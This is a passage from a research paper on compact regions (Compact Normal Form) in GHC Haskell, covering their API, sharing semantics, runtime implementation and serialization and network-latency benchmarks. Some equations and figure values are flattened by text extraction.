guages]: Language Classifications – Concurrent, Distributed, and
Parallel Languages

Keywords Serialization, Message Passing, Regions

1. Introduction
In networked and distributed applications it is important to quickly
transmit data structures from one node to another. However, this
desire is often in tension with the usual properties of high-level
languages:

• Memory-safe languages such as Haskell or Java support rich, ir-
regular data structures occupying any number of non-contiguous
heap locations.

• In contrast, network interface cards (NICs) perform best when
the data to be sent resides in a single contiguous memory region,
ideally pinned to physical memory for direct memory access
(DMA).

Thus, while efficiently sending byte arrays does not pose a prob-
lem for high-level languages, more complex data structures require
a serialization step which translates the structure into a contiguous

buffer that is then sent over the network. This serialization process
is a source of overhead and can be the limiting factor when an ap-
plication runs over a fast network.

In response to this problem, there have been several attempts
to engineer runtime support enabling high-level languages to send
heap representations directly over the network: e.g. in Java [9], or
even in distributed Haskell implementations [19]. However, these
approaches rarely manage to achieve zero-copy data transmission,
and complications abound with mutable and higher order data.

In this paper, we propose a new point in the design space: we
argue it’s worth adopting the same network representation as the
native in-memory representation, despite the cost in portability and
message size. We show that even when message size increases by a
factor of four, on a fast local network—like those found in data
centers or supercomputers—end-to-end performance can still be
improved by a factor of two.

In effect, the problem of fast network transfer reduces to the
problem of arranging for heap data to live in contiguous regions.
While region type systems [2, 12, 30] could address this problem,
we implement a simpler solution which requires no changes to the
type system of Haskell: let programmers explicitly place immutable
data into compact regions or compact normal form (CNF). Objects
in these regions are laid out in the same way as ordinary objects:
they can be accessed in the same way from ordinary Haskell code
and updated in the standard manner of purely functional data struc-
tures (the new nodes appended to the compact region). Further-
more, as the data in question is immutable and has no outgoing
pointers, we side step the normal memory management problems
associated with subdividing the heap (as in generational and dis-
tributed collectors). Finally, given any heap object we can quickly
test for membership in a compact region, from which we can also
deduce whether it is fully evaluated, a question which is often asked
in a lazy language like Haskell.

Adding CNF to Haskell also solves two other, seemingly unre-
lated problems:

• Permanent data residency. In long-running programs, there may
be some large data structures which never become garbage.
With a standard generational garbage collector, these data struc-
tures must still be fully traversed upon a major GC, adding ma-
jor overhead. In these cases, it is useful to promote such data to
an immortal generation which is never traced.

• Repeated deepseq. Even setting aside serialization, there are
other reasons to fully evaluate data, even in a lazy language.
For example, in parallel computation settings, it is important
to ensure that computational work is not accidentally offloaded
onto the wrong thread by transmission of a thunk.
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This hyperstrict programming in Haskell is done with the
NFData type class, which permits a function to deeply evalu-
ate a structure to normal form. However, deepseq (deepseq x)

demonstrates a problem with the approach. The second deepseq

should cost O(1), as the data is already in normal form. How-
ever, as there is no tracking of normal forms either in the type
system or the runtime, Haskell’s NFData methods must perform
repeated traversals of data, which can easily lead to accidental
increases in the asymptotic complexity of an algorithm.

Once data is compacted in a CNF, repeated deepseq becomes O(1),
and the garbage collector likewise never needs to trace the data
again. More generally, we make the following contributions:

• We propose a basic API for CNFs, specify what invariants it
enforces and formally describe some of its sharing properties.
Our default API does not preserve sharing when copying data
structures into a compact region; however, at the cost of a factor
of two, sharing can be preserved by tracking copied nodes in an
auxiliary data structure (e.g., a hash table).

• We implement CNFs by modifying the Glasgow Haskell Com-
piler (GHC) and runtime and compare CNF to accepted, high-
performance serialization approaches for Haskell. We demon-
strate while that Haskell serialization is competitive with well-
optimized alternatives (e.g. the Oracle Java virtual machine),
the CNF approach is radically faster. Further, we quantify how
this serialization advantage translates into faster message pass-
ing or remote procedure calls (Section 5.7), including when
used in conjunction with remote direct memory access.

• We show that CNF can also improve garbage collection: both
in reducing GC time and scaling to large heaps (Section 5.5).
CNFs offer a middle ground that enables some application
control of heap storage without compromising type safety or
requiring major type-system changes.

While the specific low-level techniques applied in this paper are not
novel, we hope to show that with this work, distributed functional
programming can become much more efficient than it has been.
This is especially apt, as in recent years there has been extensive
work on distributed Haskell frameworks [10, 20], which depend on
slow serialization passes to send data.

2. Motivation: Serialization and its Discontents
Consider the simple problem of building and then sending a tree
value to another process:

sendBytes sock (serialize (buildTree x))

In general, serializing the tree, that is, translating it into some well-
defined format for network communication, is unavoidable, since
the receiving process may be written in a completely different
language, by a completely different set of people, in which case
a portable interchange format is necessitated.

However, there are some situations where endpoints may be
more closely related. If we are sending the tree to another thread in
the same process, no serialization is necessary at all: just send the
reference! Even in a distributed computation setting, it is relatively
common for every process on the network to be running the same
binary. We can summarize the possible situations by considering
who we are sending to:

1. Another thread in the same process;

2. Another process in the network, trusted to be running the same
binary;

3. A trusted endpoint in the network, which may not run the same
binary; or perhaps

4. An untrusted endpoint across the network.

Most serialization and networking libraries are designed for the
worst case—scenario 4—and thus miss out on substantial opportu-
nities in cases 2 and 3. In Haskell, for example, the best option to-
day is to use a binary serialization library such as binary or cereal.
These libraries are very efficient examples of their kind, but by their
nature they spend substantial time packing structures into an array
of bytes and then unpacking them again on the other side.

Why should we care about scenarios 2 and 3? While scenario 4
covers general applications interacting with the Internet, these mid-
dle scenarios represent applications running inside of supercomput-
ers and data-centers composed of many nodes. In scenario 2, and
possibly scenario 3, we can consider sending a representation that
can be used immediately on the other side, without deserialization.
High-performance networking hardware that provides remote di-
rect memory access (RDMA), makes this scenario even more ap-
pealing, as it can directly place objects in remote heaps for later
consumption without the involvement of remote processors. Thus,
we have this principle:

PRINCIPLE 1. To minimize serialization time, in-memory repre-
sentation and network representation should be the same.

Even if we are willing to accept this principle, however, there
are still some difficulties.

2.1 Problem 1: Contiguous In-Memory Representation
By default, data allocated to the heap in a garbage collected lan-
guage will not be in a contiguous region: it will be interspersed with
various other temporary data. One direct solution to this problem
might be to replace (serialize (buildTree x)) from the earlier
example code with an alternate version designed to produce a con-
tiguous version of the tree, which could be immediately consumed
by sendBytes:

sendBytes chan (buildTreeToRegion x)

The first problem with this approach is that its anti-modular if
buildTree must be changed to yield buildTreeToRegion. The pro-
ducer code may be produced by a library not under the control of
the programmer invoking sendBytes—thus it is unreasonable to ex-
pect that the producer code be modified to suit the consumer. Nor
is it reasonable to expect a program analysis to identify buildTree

as producing network-bound data, because it is impossible to de-
termine, in general (at all allocation sites) what the ultimate desti-
nation of each value will be. Besides, most high-level languages do
not have the capability to region-allocate, even if we were willing
to change the producer code.

A region-based type system with sufficient polymorphism could
solve the modularity problem: a function identifies what region
the returned value should be allocated into. But, while there have
been languages that have this capability and expose it to users [12],
widely used functional and object oriented languages do not. In
fact, even MLKit [30]—which implements SML using regions and
region-inference—does not expose region variables and letregion

to the programmer. Thus they cannot write buildTreeToRegion and
cannot guarantee that the result of builtTree ends up as the sole
occupant of a distinct region.

Due to these drawbacks, we instead propose much simpler
scheme: to simply copy the relevant data into the contiguous re-
gion. The key principle:

PRINCIPLE 2. Copying is acceptable, as long as the copy is amor-
tized across all sends of the same data.

In fact, when a copying garbage collector would be used, live
data structures would have been copied anyway. We can do the copy
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once, and then avoid any further copies (by the garbage collector or
otherwise.)

2.2 Problem 2: Safety
Once your data is in a contiguous, compact region, one would hope
that it would simply be possible to send the entire region (without
any checking) when attempting to send a pointer to an object in the
region.

However, such an operation is only safe if the region, in fact,
contains all of the reachable objects from a pointer. If this has been
guaranteed (e.g., because a copy operates transitively on reachable
objects), there is yet another hazard: if mutation is permitted on
objects in the compact region, then a pointer could be mutated to
point out of the region.

In fact, an analogous hazard presents itself with garbage col-
lection: if a compact region has outbound regions, it is necessary
to trace it in order to determine if it is keeping any other objects
alive. However, if there are no outgoing pointers and the data is im-
mutable, then it is impossible for a compact region to keep objects
outside of it alive, and it is not necessary to trace its contents. To
summarize:

PRINCIPLE 3. Immutable data with no-outgoing pointers is highly
desirable, from both a network transmission and a garbage collec-
tion standpoint.

3. Compact Normal Form
Our goal with CNFs is to organize heap objects into regions, which
can then be transmitted over the network or skipped during garbage
collection. Concretely, we do this by representing a pointer to an
object in a compact region with the abstract type Compact a. Given
a Compact a, a pointer to the actual object can be extracted using
getCompact:

newtype Compact a
getCompact :: Compact a → a

How do we create a Compact a? Based on the properties of
compact regions we have described so far, any such operation
would need to take a value, fully evaluate it, and copy the result into
a contiguous region. We represent the types which can be evaluated
and copied in this way using a type class Compactable, similar
to an existing Haskell type class NFData which indicates that a
type can be evaluated to normal form. Unlike NFData, Compactable
expresses the added capability to send some data over the network.
Most common types are compactable, e.g. Bool or Maybe a (if a is
Compactable), but mutable types such as IORef a are not.

class NFData a ⇒ Compactable a

We might then define a function with this type:

newCompact :: Compactable a ⇒ a → IO (Compact a)

This function creates a new region and copies the fully evaluated
a into it. However, if we want to apply a functional update to this
tree, we may want to specify the already existing compact region
so we can reuse any already compacted shared data. To do this, we
can decompose newCompact into two functions:

mkCompact :: IO (Compact ())
appendCompact :: Compactable a

⇒ a → Compact b → IO (Compact a)

mkCompact simply creates a new region and returns a dummy
pointer Compact () to identify the region. appendCompact, like
newCompact, fully evaluates a; however, it copies the result into the
same compact region as Compact b. Additionally, it short-circuits

Compact
Region

x :: [Int] c :: Compact [Int]

appendCompact x c :: Compact [Int]

12

1

2

0

Figure 1: Appending a list of (unboxed) integers into a compact
region. The white boxes are the newly allocated objects in the
region after the append which share a tail with the original list.

the evaluation/copying process if a subgraph is already in the tar-
get compact region. (The actual heap object Compact b points to is
otherwise ignored.) Figure 1 gives an example of appending some
cells of a list to a compact region; in this example, both a and b are
the same type—however, this need not necessarily be the case.

While one could quibble with the particular interface provided
(perhaps compact regions should be distinguished from compact
pointers), the above interface is sufficient for all compactions.
However, beyond this core interface, one will need to provide sup-
port for sending Compact a values over the network, e.g.:

sendCompact :: Socket → Compact a → IO ()

as in this example:

do c ← newCompact (buildTree x)
sendCompact sock c

(Un)observable sharing Interestingly, you cannot observe shar-
ing of Haskell values with just mkCompact and appendCompact. In
particular, if we ignore performance, we could implement observ-
ably equivalent pure versions of these functions in the following
way (where deepseq is a method in NFData which evaluates its first
argument to normal form when the second argument is forced):

newtype Compact a = Compact a
mkCompact = Compact ()
appendCompact x _ = deepseq x (Compact x)

Of course, the (useful) function which tests if an arbitrary value
lives in a compact region does permit observing the presence of
sharing:

isCompact :: a → IO (Maybe (Compact a))

3.1 Region Invariants
The Compactable type class enforces some important safety invari-
ants on the data which lives in a compact region:

• No outgoing pointers. Objects are copied completely into the
compact region, so there are never any outgoing pointers. This
is useful when transmitting a region over the network, as we
know that if we send an entire region, it is self-contained. We
will also rely on this invariant in garbage collection (described
in more detail in Section 4): this invariant means it is not
necessary to trace the inside of a region to determine liveness
of other objects on the heap. Compacted objects are essentially
a single array-of-bits heap object.

• Immutability. No mutable objects are permitted to be put in a
compact region. This helps enforce the invariant of no outgoing
pointers, and also means that data in a region can be copied with
impunity.
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• No thunks. Thunks are evaluated prior to being copied into a
region; this means the CNF will not change layout, be mutated,
or expand as a result of accessing its contents, and that we do
not attempt to send closures over the network.

Haskell has especially good support for immutable data, which
makes these restrictions reasonable for compact regions. While
many languages now host libraries of purely functional, persistent
data structures, in Haskell these are used heavily in virtually every
program, and we can reasonably expect most structures will be
Compactable.

3.2 Sharing
Because every compact region represents a contiguous region of
objects, any given object can only belong to at most one compact
region. This constraint has implications on the sharing behavior
of this interface. Here are three examples which highlight this
situation:

Sharing already compact subgraphs Consider this program:

do c ← mkCompact
r1 ← appendCompact [3,2,1] c
r2 ← appendCompact (4:getCompact r1) c
-- Are ’tail r2’ and r1 shared?

In the second appendCompact, we are adding the list [4,3,2,1].
However, the sublist [3,2,1] is already in the same compact re-
gion: thus, it can be shared.

However, suppose r1 is in a different compact, as here:

do c1 ← mkCompact
r1 ← appendCompact [3,2,1] c1
c2 ← mkCompact
r2 ← appendCompact (4:getCompact r1) c2
-- Are ’tail r2’ and r1 shared?

In this case, sharing would violate the compact region invariant.
Instead, we must recopy r1 into the new compact region. The
copying behavior here makes it clear why, semantically, it doesn’t
make sense to allow mutable data in compact regions.

Sharing non-compact subgraphs We stated that if if a subgraph
is already compact, it can be shared. What if the subgraph is not
compact?

do let s = [2,1]
d = (3:s, 4:s)

c ← mkCompact
r ← appendCompact d
-- Are ’tail (fst r)’ and ’tail (snd r)’ shared?

In an ideal world, the sharing present in d would be preserved
in the compact region. However, for reasons we will describe in
Section 4.3, we can more efficiently implement copying if we don’t
preserve sharing. Thus, by default, we do not preserve sharing
of non-compact subgraphs; however, a user may optionally use a
slower API to preserve sharing.

Sharing after append Consider the following program, where t

is a thunk whose type is compactable:

do c ← mkCompact
r ← appendCompact t c
-- Are t and r shared?

The process of appending t to c caused it to be fully evaluated;
furthermore, r refers to the fully evaluated version of this data
structure which lives in the compact region. Is t updated to also
point to this data structure?

In some cases, it is not possible to achieve this sharing: if t is a
reference to a fully evaluated structure in different compact, it must

e ::=
lit Literal

| f ai
i Application

| x Variable
| K ai

i Constructor
| case e ofKi a → ei

i
Pattern match

| let x = rhs in e Let binding
| mkCompact
| appendCompact x y

rhs ::= Right-hand sides
λ xi

i .e Function
| �e� Thunk
| K ai

i Constructor

Figure 2: Syntax for simplified STG

be copied to the new compact region. Additionally, if t had already
been fully evaluated, it’s not possible to “modify” the result to point
to the version in the new compact region. Thus, to make sharing
behavior more predictable and indifferent to evaluation order, we
decided t should never be updated to point to the version of the
data structure in the compact.

Semantics We can be completely precise about the sharing prop-
erties of this interface by describing a big-step semantics for our
combinators in the style of Launchbury’s natural semantics [18].
To keep things concrete, we work with the specific intermediate
language used by GHC called STG [15], which also supports data
constructors. The syntax STG plus our combinators is described
in Figure 2, with metavariables f and x representing variables, K
representing constructors, and a representing either a literal or vari-
able. STG is an untyped lambda calculus which has the same re-
striction as Launchbury natural semantics that all arguments a to
function (and constructor) applications must either be a literal or
a variable. This makes it easy to model the heap as a graph (with
variables representing pointers); thus, sharing behavior can be de-
scribed.

The basic transition in a big-step semantics is Γ : e ⇓ Γ� : a:
an expression e with heap Γ reduces to a value or literal with
new heap Γ�. The semantics for the standard constructs in STG
are completely standard, so we omit them; however, there is one
important difference about Γ: a heap may also contain labelled
bindings x c�→ v, indicating the value in question lives in a compact
region c. (Values in the normal heap implicitly have a special label
�). With this addition, the rules for the two combinators are then
quite simple:

c fresh x fresh

Γ : mkCompact ⇓ Γ[x
c�→ ()] : x

Γ : x ⇓ Δ : x � x � c�→ rhs in Δ Δ : y ⇓rnf
c Θ : y �

Γ : appendCompact x y ⇓ Θ : y �

The rule for appendCompact hides some complexity, as it needs
to recursively evaluate a data structure to normal form. We can
express this process with a specialized evaluation rule Γ : e ⇓rnf

c

Γ� : a, which indicates e should be fully evaluated and the result
copied into the compact region c, where a points to the root of the
copied result. The “reduce to normal form” operation (rnf) has only
three rules:
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Γ : e ⇓ Γ� : z � Γ� : z � ⇓rnf
c Γ�� : z ��

Γ : e ⇓rnf
c Γ�� : z �� EVAL

x
c�→ v in Γ

Γ : x ⇓rnf
c Γ : x

SHORTCUT

x
c��→ K yi

i in Γ0 Γi : yi ⇓rnf
c Γi+1 : zi

i

Γ0 : x ⇓rnf
c Γn [z

c�→ K zi i ] : z (z fresh)
CONRECURSE

First, if data pointed to by x is not fully evaluated, we evaluate
it first using the standard reduction rules (EVAL). Otherwise, if we
are attempting to rnf a variable into c (SHORTCUT), but it already
lives in that region, then nothing more is to be done. Otherwise,
x already points to a constructor in weak head normal form but
in a different region c� (CONRECURSE), so we recursively rnf the
arguments to the constructor, and then allocate the constructor into
the compact region c.

It is easy to show by induction that compact region invariant is
preserved by these evaluation rules:

INVARIANT 1 (Compact region invariant). For any heap binding
x

c�→ v in Γ where c is not �, v is a constructor K ai
i such that for

each non-literal variable ai, ai
c�→ vi is in Γ.

THEOREM 1 (Preservation). If the compact invariant holds on Γ,
and Γ : e ⇓ Γ� : z �, then the compact invariant holds on Γ�.

4. Implementation
4.1 The GHC Runtime System
We first review some details of GHC runtime system. Readers
already familiar with GHC’s internals can safely skip to the next
subsection.

Block-structured heap In GHC, the heap is divided in blocks of
contiguous memory in multiples of 4KB. [21] The smallest block
size is 4KB, but larger blocks can be allocated to hold objects
which are larger than 4KB. Blocks are chained together in order
to form regions of the heap, e.g. the generations associated with
generational garbage collection.

In memory, blocks are part of aligned megablocks of one
megabyte in size. These megablocks are the unit of allocation from
the OS, and the first few blocks in each megablock are reserved for
the block descriptors, fixed size structures containing metadata for
one block in the same megablock. Because of this organization it
is possible to switch between a block and a block descriptor using
simple pointer arithmetic. Block descriptors contain information
such as how large a block is (in case it holds an object larger than
four kilobytes) and what portion of the block is in use.

This block structure gives the GHC runtime system the property
that given an arbitrary pointer into the heap, it is possible in some
cases to verify in constant time in what object it lives, and that
property is exploited by our implementation to efficiently test if an
object already lives in a compact region.

Layout of objects in the heap Since the in-memory representa-
tion of objects is what will be transmitted on the network, it is
worth explaining how GHC lays out objects in memory. Objects
are represented by a machine size info pointer followed by the pay-
load of the object (numeric data and pointers to other object, in an
order which depends on the object type).

The info pointer points to an info table, a static piece of data and
code that uniquely identifies the representation of the object and the
GC layout. In case of functions, thunks and stack continuations, it

holds also the actual executable code, while for ADTs it contains an
identifier for the constructor which is used to discriminate different
objects in case expressions.

It is important to note that info tables are stored along side
the machine code in the executable and never change or move for
the lifetime of the process. Moreover, in case of static linking, or
dynamic linking without address space layout randomization, they
are also consistent between different runs of the same binary. This
means that no adjustment to info pointers is necessary when the
same binary is used.

4.2 Compact Regions
Conceptually, a compact region is a mutable object in which other
objects can be added using the appendCompact operation. Opera-
tionally, a region is represented as a chain of blocks (hopefully one
block long!) Each block of a compact region has a metadata header
(in addition to the block descriptor associated with the block),
which contains a pointer to the next and to the first block in the
chain. Additionally, the first block of a compact region contains a
tag which identifies the machine from which the data originated
(the purpose of which is explained later in the section).

It is interesting to observe therefore that a compact region can be
thought of as a heap object in itself: it can be treated as a linked list
of opaque bytestrings which do not have to be traced. At the same
time, the compact region internally contains other objects which
can be directly addressed from outside.

Garbage collection Usually in a garbage collected language, it is
unsafe to address component parts of an object known to the GC,
because there is no way for the GC to identify the container of the
component and mark it as reachable as well.

Nevertheless, for compacts this property is achievable: given
an arbitrary address in the heap, we can find the associated block
descriptor and use the information stored there to verify in constant
time if the pointer refers to an object in a compact storage. If it
does, we mark the entirety of the compact region as alive, and don’t
bother tracing its contents. This test can be used by user code to
check if an object is already a member of a compact, or even if it is
just in normal form (so a deepseq can be omitted).

Skipping tracing of the insides of compact regions has one im-
plication: if a single object in a compact region is live, all objects in
a compact region are live. This approximation can result in wasted
space, as objects which become dead cannot be reclaimed. How-
ever, there a few major benefits to this approximation. First, long-
lived data structures can be placed in a compact region to exclude
them from garbage collection. Second, the avoidance of garbage
collection means that, even in a system with copying garbage col-
lection, the heap addresses of objects in the region are stable and
do not change. Thus, compact regions serve as an alternate way of
providing FFI access to Haskell objects. Finally, a “garbage col-
lection” can be requested simply by copying the data into a new
compact region, in the same manner a copying garbage collector
proceeds.

4.3 Appending Data to a Compact Region
As we’ve described, the process of appending data to a compact
region is essentially a copy, short-circuiting when we encounter
data which already lives in the compact region. However, we can
avoid needing to perform this copy recursively by applying the
same trick as in Cheney copying collection: the compact region
also serves as the queue of pending objects which must be scanned
and copied.

If copying would cause the block to overflow, a new block is
allocated and appended to the chain, and copying then proceeds
in the next block. The size of the appended block is a tunable
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parameter; in our current implementation, it is the same size as the
previous block.

Preserving sharing while copying Suppose that we are copying
a list into a compact region, where every element of the list points
to the same object: the elements are all shared. In a normal copying
garbage collector, the first time the object is copied to the new
region, the original location would be replaced with a forwarding
pointer, which indicates that the object had already been copied to
some location.

However, in our case, we can’t apply this trick, because there
may be other threads of execution running with access to the orig-
inal object. Initially, we attempted to preserve sharing in this situ-
ation by using a hash table, tracking the association of old objects
and their copies in the compact region. Unfortunately, this incurred
a significant slow-down (between ×1.5 and ×2).

Thus, our default implementation does not preserve sharing for
objects which are not already in a compact region. (Indeed, this
fact is implied by the semantics we have given.) Thanks to the fact
that only immutable data is copied in this way, this duplication is
semantically invisible to the application code, although memory
requirements can in the worst case become exponential, and struc-
tures containing cycles cannot be handled by this API.

While it may seem like this is a major problem, we can still pre-
serve sharing for data structures whose shared components already
live in a compact region. In this case, when we take a data structure
already in a compact region, apply some functional update to it,
and append the result to it, the shared components of the new data
structure continue to be shared. We believe internal sharing which
does not arise from this process is less common, especially in data
which is to be sent over the network.

Trusted Compactable instances The Compactable type class
serves two purposes: first, it describes how to evaluate data to nor-
mal form while short-circuiting data which is already in normal
form (the existing type class NFData always traverses the entirety
of an object), and second, it enforces the safety invariant that no
mutable objects be placed in a compact region.

Unfortunately, because Compactable type classes are user de-
finable, a bad instance could lead in the type checker accepting a
copy of an impermissible type. Currently, our implementation ad-
ditionally does a runtime check to ensure the object fulfills the in-
variants. Ideally, however, a Compactable would only be furnished
via trusted instances provided by GHC, in a similar fashion to the
existing Typeable. [17]

4.4 Network Communication
Once your data is in a compact region, you can use any standard
techniques for sending buffers over the network. However, there are
some complications, especially regarding pointers which are in the
compact region, so for the sake of explicitness (and to help explain
the experimental setups in the next section), we describe the details
here.

Serialization A compact region is simply a list of blocks: thus,
the serialization of a compact region is each block (and its length),
as well as a pointer to the root of the data structure that is the root.
The API we provide is agnostic to the particular network transport
to be used:

data SerializedCompact a = S {
blockList :: [(Ptr a, Word)],
root :: Ptr a

}

withCompactPtrs :: Compact a
→ (SerializedCompact a → IO b)
→ IO b

importCompact :: SerializedCompact a
→ (Ptr b → Word → IO ())
→ IO (Compact a)

The two functions operate in pair: withCompactPtrs accepts a
function SerializedCompact a →IO b that should write the data
described by the SerializedCompact to the communication chan-
nel. Conversely, importCompact takes care of reserving space in the
heap for the compact region using the SerializedCompact (trans-
mitted out of band as simple address/size pairs), then calls the pro-
vided function Ptr b →Word →IO () for each piece of reserved
space: this function receives the data and places it at this address.

One property of this design is that the SerializedCompact,
containing the addresses of blocks on the originating machine, must
be sent in full through an out of band channel. This is to give a
chance to the runtime system to allocate the blocks on the receiving
machine at the right addresses from the start, which is necessary to
allow full zero-copy transfer in a RDMA scenario.

Pointer adjustment If the data associated with a compact region
is not loaded into the same address as its original address, it is
necessary to offset all of the internal pointers so that they point
to the new address of the data in question. This procedure can be
skipped if the sender is trusted and the compact region is loaded to
its original address.

To ensure that we will be able to load compact regions into
the correct address space, we observe the address space in a 64-
bit architecture (or even a 48 bit one like x86 64) is fairly large,
more than the application will need. Therefore, our approach is to
divide it into n chunks (in our case, 256 chunks of 128 GiB each)
and assign each chunk to a specific machine/process combination.

Memory in these chunks is separated by the normal heap and
is used only for compact storage, which means that every machine
can have an approximate view of the contents of its assigned chunk
in all other machines. This is enough to greatly reduce the number
of collisions when attempting a directed allocation.

Unfortunately, this scheme is not guaranteed to work, as mem-
ory can be reused on the sender before it is reclaimed also on the
receiver, triggering a collision and a linear pointer adjustment. An
alternate design is to never reuse address space, simply unmapping
the address for old compacts when they become no longer reach-
able.

Interoperation with different binaries As mentioned above, info
tables for each object in a compact region are static and well-
defined for a given binary. This allows us to ignore the info pointers
inside the compact data, provided that the data originates from
another instance of the same executable on a compatible machine.
We verify this with an MD5 checksum of the binary and all loaded
shared libraries, which is included in the payload of every compact
sent on the wire and verified upon importing.

If this verification fails, the import code has to adjust the info
pointers of all objects contained in the imported storage. One option
to reconstruct the info pointers would be to send the info tables
together with the data. Unfortunately, the info tables are fairly large
objects, due to alignment and the presence of executable code,
which makes this option not viable in practice. Additionally, the
executable code can potentially make references to other pieces of
code in the runtime system.

Instead, we observed that every info table is identified by a
dynamic linker symbol which is accessible to the runtime. Thus,
we extended the compact storage format to contain a map from all
info table addresses to the symbol names, to be sent on the wire
with the data. This map is employed to obtain symbol names for
the transmitted info table pointers, which can then be linked against
their true locations in the new binary.
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-- Pointer-heavy data with more pointers than scalars.
-- Representative of boxed, linked datatype in Haskell,
-- such as lists.
data BinTree = Tree BinTree BinTree

| Leaf {-# UNPACK #-} !Int

-- Small-struct data, increasing to a handful of scalars.
-- Representative of custom datatypes for numeric
-- and computationally intensive problems.
data PointTree

= PTree PointTree PointTree
| PLeaf { x :: {-# UNPACK #-} !Int64

, y :: {-# UNPACK #-} !Int64
, z :: {-# UNPACK #-} !Int64
, mass :: {-# UNPACK #-} !Int64
}

-- Small-array data, with small, unboxed strings.
data TweetMetaData =

TweetMetaData { hashtags :: ![Text]
, user_id :: {-# UNPACK #-} !Int64
, urls :: ![Text]
}

Figure 3: Our three representative data types for studying data
transfer and storage. We do not cover large unboxed array data,
because these types are already handled well by existing memory
management and network transfer strategies.

Because this mapping incurs some overhead, we allow program-
mers to chose whether or not to pay this cost for more safety. On
the other hand, we can cache the mapping on the receiver side, so
if the types and data constructors of the values sent do not change,
the setup cost needs to be paid only for the first message sent.

5. Evaluation
In this section, we characterize the performance of compact normal
forms by looking both at serialization and memory footprint costs,
as well as end-to-end numbers involving network transmission,
garbage collections and a key-value store case-study. The details
of the experiments are in the upcoming subsections, but we first
spend some time to describe our experimental setup.

We compare against the latest versions of the Haskell binary
(which operates on lazy bytestring streams) and cereal (which op-
erates on fully evaluated bytestrings). We also compared against the
builtin Java serialization engine (java.io.Serializable) shipped
with Java HotSpot version 1.8.0 31, as a sanity check to ensure
Haskell has reasonable performance to start with—we are not
merely making slow programs less slow, nor are we addressing
a Haskell specific problem.

There are a variety of different types which we could serialize
and deserialize. In our experiments, we used two variants of bal-
anced binary trees with different pointer/total size ratios, varying
sizes in power of two. In particular:

• bintree is a binary tree with a single unboxed integer in leaves.
This variant has high pointer/total size ratio, and thus represents
a worst case scenario for transmitting compact normal forms.

• pointtree is a binary tree with four unboxed integers in leaves,
increasing the data density.

Additionally, we also analyzed a third data type, composed of
URLs, hashtags and user IDs for all posts in Twitter in the month
of November 2012 [22, 23].
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Figure 4: Relative improvement for serializing a bintree of size
2N with CNFs versus other methods. Both x and y scales are
logarithmic; bigger is better for CNF (and worse for the serializer
being compared.) Compact/Share refers to the implementation of
compact regions which preserves internal sharing, showing the
overhead of the hash table.

Our experiments were done on a 16-node Dell PowerEdge
R720 cluster. Each node is equipped with two 2.6GHz Intel Xeon
E5-2670 processors with 8-cores each (16 cores in total), and
32GB memory each. For the network benchmarks over sockets,
we used the 10G Ethernet network connected to a Dell PowerCon-
nect 8024F switch. Nodes run Ubuntu Linux 12.04.5 with kernel
version 3.2.0.

5.1 Serialization Costs
Our first evaluation compares the cost of serializing data into a re-
gion, as well as the resulting space usage of the serialized versions.
We don’t include deserialization in this benchmark, because de-
serialization costs can often be pipelined with network transmis-
sion, making serialization a more representative quantity to mea-
sure. However, deserialization does add some overhead, which will
be measured in the end-to-end latency benchmarks in the next sec-
tion.

In Figure 4, we see a plot comparing serialization times for
binary trees which store an integer at each node; some absolute
values are also shown in Table ??. We can see that for sizes up
to 26, constant factors dominate the creation of compact normal
forms (it takes about 1.5ns to create a compact region); however,
at larger sizes copying is four times faster than serializing. Beyond
212 leaves, binary and cereal slow down a factor of four due to
garbage collection overhead; by increasing the amount of memory
available to GHC, this slowdown can be reduced but not eliminated.

The graph for pointtree was comparable, and for Twitter the
serialization overhead was consistently ×5 for binary and between
×4 and ×9 for Java.

5.2 Memory Overhead
In Table 2, we report the sizes of the various serialized representa-
tions of large versions of our data types; these ratios are represen-
tative of the asymptotic difference.

We see that in the worst case, the native in-memory represen-
tation can represent a ×4 space blow-up. This is because a seri-
alization usually elides pointers by inlining data into the stream;
furthermore tags for values are encoded in bytes rather than words.
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Table 1: Median latency for serialization with CNFs versus serial-
ization with Haskell binary and Java, for the bintree data structure.

Size Compact Binary Java
223 leaves 0.322 s 6.929 s 12.72 s
220 leaves 38.18 ms 0.837 s 1.222 s
217 leaves 4.460 ms 104.1 ms 109 ms
214 leaves 570 ns 8.38 ms 9.28 ms
211 leaves 72.4 ns 255 ns 1.13 ms

Table 2: Serialized sizes of the selected datatypes using different
methods.

Method Type Value Size MBytes Ratio
Compact bintree 223 leaves 320 1.00
Binary 80 0.25
Cereal 80 0.25
Java 160 0.50

Compact pointtree 223 leaves 512.01 1.00
Binary 272 0.53
Cereal 272 0.53
Java 400 0.78

Compact twitter 1024MB 3527.97 1.00
Binary 897.25 0.25
Cereal 897.25 0.25
Java 978.15 0.28
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Figure 5: Relative improvement for median end-to-end latency for
socket communication with CNFs versus serialization by Haskell
binary and Java, for two different data structures bintree and point-
tree. Both x and y scales are logarithmic; bigger is better for CNF
(and worse for the serializer being compared.) At small sizes, con-
stant factors of CNFs dominate.

However, as the raw data increases, our ratios do get better. Inter-
estingly, the Twitter data achieves a relatively poor ratio: this is in
part because most of the strings in this data are quite small.

The difference in memory size sets the stage for the next set of
experiments on network transfer latency.

5.3 Heap-to-Heap Network Transfer
Given that the size of data to be transmitted increases, the real ques-
tion is whether or not the end-to-end performance of transmitting a

Table 3: Median end-to-end latency for socket communication with
CNFs versus serialization by Haskell binary and Java, for the dif-
ferent data structures bintree and pointtree.

Type Size Compact Binary Java
bintree 223 leaves 3.180 s 6.98 s 9.595 s

220 leaves 382.4 ms 982 ms 837 ms
217 leaves 59.93 ms 100 ms 90 ms
214 leaves 8.380 ms 10.54 ms 11 ms
211 leaves 1.833 ms 1.238 ms 2 ms

pointtree 223 leaves 4.978 s 23.58 s 15.71 s
220 leaves 624.0 ms 2.64 s 1.461 s
217 leaves 81.31 ms 321 ms 141 ms
214 leaves 13.3 ms 37.1 ms 35 ms
211 leaves 2.6 ms 4.33 ms 3 ms

heap object from one heap to another is improved by use of a com-
pact normal form. With a fast network, we expect to have some
slack: on a 1 Gbit connection, an extra 240 megabytes for a 223

size binary tree costs us an extra 2.01 seconds; if serializing takes
6.92 seconds, we can easily make up for the slack (and things are
better as more bandwidth is available).

Figure 5 shows the relative improvement for the end-to-end
latency compact normal forms achieve relative to existing solutions
for binary and Java. (We don’t test cereal, as it does not support
pipelining deserialization.) We see that for low tree sizes, constant
factors and the overall round trip time of the network dominate;
however, as data gets larger serialization cost dominates and our
network performance improves.

5.4 Persistence: Memory-Mapped Files
While communicating messages between machines is the main use
case we’ve discussed, it’s also important to send messages through
time, rather than space, by writing them to disk. In particular, not
all on-disk storage is meant for archival purposes—sometimes it
